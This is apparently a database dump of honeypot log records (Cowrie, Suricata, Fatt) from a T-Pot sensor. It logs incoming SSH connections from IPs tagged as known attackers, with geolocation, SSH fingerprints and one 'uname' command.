32681	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:23.262637+03	2021-09-20 15:00:03.793716+03	{"_id": "EQYNA3wBvYTbRNuEu0yV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 0, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "acecf4632380eb12ff62cf104f9e5fa53157d92e0c540a01c0f91db39e83dfd0", "src_ip": "159.253.30.249", "ttylog": "log/tty/acecf4632380eb12ff62cf104f9e5fa53157d92e0c540a01c0f91db39e83dfd0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/acecf4632380eb12ff62cf104f9e5fa53157d92e0c540a01c0f91db39e83dfd0 after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.05993366241455078, "duplicate": false, "timestamp": "2021-09-20T11:53:23.262637Z", "@timestamp": "2021-09-20T11:53:23.262Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32682	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:23.605237+03	2021-09-20 15:00:03.795716+03	{"_id": "EwYNA3wBvYTbRNuEu0yV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:23.605237Z", "@timestamp": "2021-09-20T11:53:23.605Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32683	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:23.487767+03	2021-09-20 15:00:03.796716+03	{"_id": "GAYNA3wBvYTbRNuEu0yV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:23.487767Z", "@timestamp": "2021-09-20T11:53:23.487Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32685	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:19.835147+03	2021-09-20 15:00:03.798716+03	{"_id": "uAYNA3wBvYTbRNuEq0vy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:19.835147Z", "@timestamp": "2021-09-20T11:53:19.835Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32686	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:19.837492+03	2021-09-20 15:00:03.799717+03	{"_id": "ugYNA3wBvYTbRNuEq0vz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.253.30.249:55754 (192.168.176.2:22) [session: 276618e7e832]", "session": "276618e7e832", "@version": "1", "protocol": "ssh", "src_port": 55754, "dest_port": 22, "timestamp": "2021-09-20T11:53:19.837492Z", "@timestamp": "2021-09-20T11:53:19.837Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32687	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:19.83812+03	2021-09-20 15:00:03.801716+03	{"_id": "vAYNA3wBvYTbRNuEq0vz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "276618e7e832", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:53:19.838120Z", "@timestamp": "2021-09-20T11:53:19.838Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32688	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:53:19.858354+03	2021-09-20 15:00:03.802717+03	{"_id": "xgYNA3wBvYTbRNuErUth", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "flow_id": 485051966920341, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 39814, "dest_port": 22, "timestamp": "2021-09-20T11:53:19.858354Z", "@timestamp": "2021-09-20T11:53:19.858Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32689	159.253.30.249	109.199.241.180	Suricata	2021-09-20 14:53:19.894024+03	2021-09-20 15:00:03.804717+03	{"_id": "xQYNA3wBvYTbRNuErUth", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "flow_id": 167200764680140, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55754, "dest_port": 22, "timestamp": "2021-09-20T11:53:19.894024Z", "@timestamp": "2021-09-20T11:53:19.894Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32694	159.253.30.249	109.199.241.180	Fatt	2021-09-20 14:53:19.894109+03	2021-09-20 15:00:03.811716+03	{"_id": "zwYNA3wBvYTbRNuErkts", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 55754, "dest_port": 22, "timestamp": "2021-09-20T11:53:19.894109", "@timestamp": "2021-09-20T11:53:19.894Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32690	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:53:19.858411+03	2021-09-20 15:00:03.806717+03	{"_id": "ygYNA3wBvYTbRNuErktr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.17.12", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39814, "timestamp": "2021-09-20T11:53:19.858411", "@timestamp": "2021-09-20T11:53:19.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32691	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:53:20.037138+03	2021-09-20 15:00:03.807717+03	{"_id": "ywYNA3wBvYTbRNuErktr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "8.30.234.130", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59975, "timestamp": "2021-09-20T11:53:20.037138", "@timestamp": "2021-09-20T11:53:20.037Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32692	8.30.234.130	109.199.241.180	Fatt	2021-09-20 14:53:20.219667+03	2021-09-20 15:00:03.808716+03	{"_id": "0wYNA3wBvYTbRNuErkts", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "8.30.234.130", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.62.82.9821415109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 59975, "dest_port": 22, "timestamp": "2021-09-20T11:53:20.219667", "@timestamp": "2021-09-20T11:53:20.219Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32693	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:53:19.8386+03	2021-09-20 15:00:03.810717+03	{"_id": "zgYNA3wBvYTbRNuErkts", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.253.30.249", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55754, "timestamp": "2021-09-20T11:53:19.838600", "@timestamp": "2021-09-20T11:53:19.838Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32771	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:26.106949+03	2021-09-20 15:00:03.904722+03	{"_id": "QAYNA3wBvYTbRNuEx0xR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:26.106949Z", "@timestamp": "2021-09-20T11:53:26.106Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32695	159.253.30.249	109.199.241.180	Fatt	2021-09-20 14:53:20.447864+03	2021-09-20 15:00:03.812716+03	{"_id": "0AYNA3wBvYTbRNuErkts", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 55810, "dest_port": 22, "timestamp": "2021-09-20T11:53:20.447864", "@timestamp": "2021-09-20T11:53:20.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32696	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 14:53:20.035215+03	2021-09-20 15:00:03.813717+03	{"_id": "6AYNA3wBvYTbRNuEr0vd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 8.30.234.130:59975 (192.168.176.2:22) [session: 243925d06499]", "session": "243925d06499", "@version": "1", "protocol": "ssh", "src_port": 59975, "dest_port": 22, "timestamp": "2021-09-20T11:53:20.035215Z", "@timestamp": "2021-09-20T11:53:20.035Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
32697	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:20.231997+03	2021-09-20 15:00:03.815717+03	{"_id": "6QYNA3wBvYTbRNuEr0vd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "96.78.175.36", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.3969695568084717, "duplicate": true, "timestamp": "2021-09-20T11:53:20.231997Z", "@timestamp": "2021-09-20T11:53:20.231Z", "t-pot_ip_ext": "109.199.241.180", 